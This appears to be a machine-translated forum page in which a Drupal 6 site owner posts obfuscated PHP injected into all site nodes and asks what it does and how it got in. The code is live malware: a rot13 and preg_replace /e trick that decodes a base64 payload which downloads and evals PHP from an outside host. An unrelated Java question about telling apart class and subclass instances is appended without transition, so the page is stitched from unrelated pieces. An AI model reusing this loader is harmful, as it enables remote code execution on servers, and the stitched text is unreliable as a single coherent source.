今天,我的drupal 6网站中的所有节点都出现了这个添加的PHP脚本
?php $node->nid = 849;
preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');
if(@$node->body):
?php echo @$node->title;?
?php echo @$node->body;?
?php else:?
... here would go the original text of the node
?php endif;?
Run Code Online (Sandbox Code Playgroud)
(我删除了一些符号以确保您可以正确读取PHP代码)
所以,我想这意味着有人能够更新drupal表中的信息并注入这个php脚本.
1 - 这个PHP代码在做什么(如果有的话)?(当然除了阻止节点内容的可视化)
2 - 任何想法他们是如何设法做到这一点的?是Drupal安全漏洞吗?一个Mysql吗?3 - 我想重新启动它的唯一方法是完全恢复数据库......
我有两个类A和B,其中B是A的子类,A不是抽象的.因此,我可以拥有作为A实例的对象和作为B实例的对象(因此也是A的实例).
如何区分仅为A实例的对象?
当然,我可以编写类似"对象instaceof A &&!(B的对象实例)"但这是一个非常糟糕的设计,因为每次我向A添加新的子类时我都需要更改代码.更好的选择?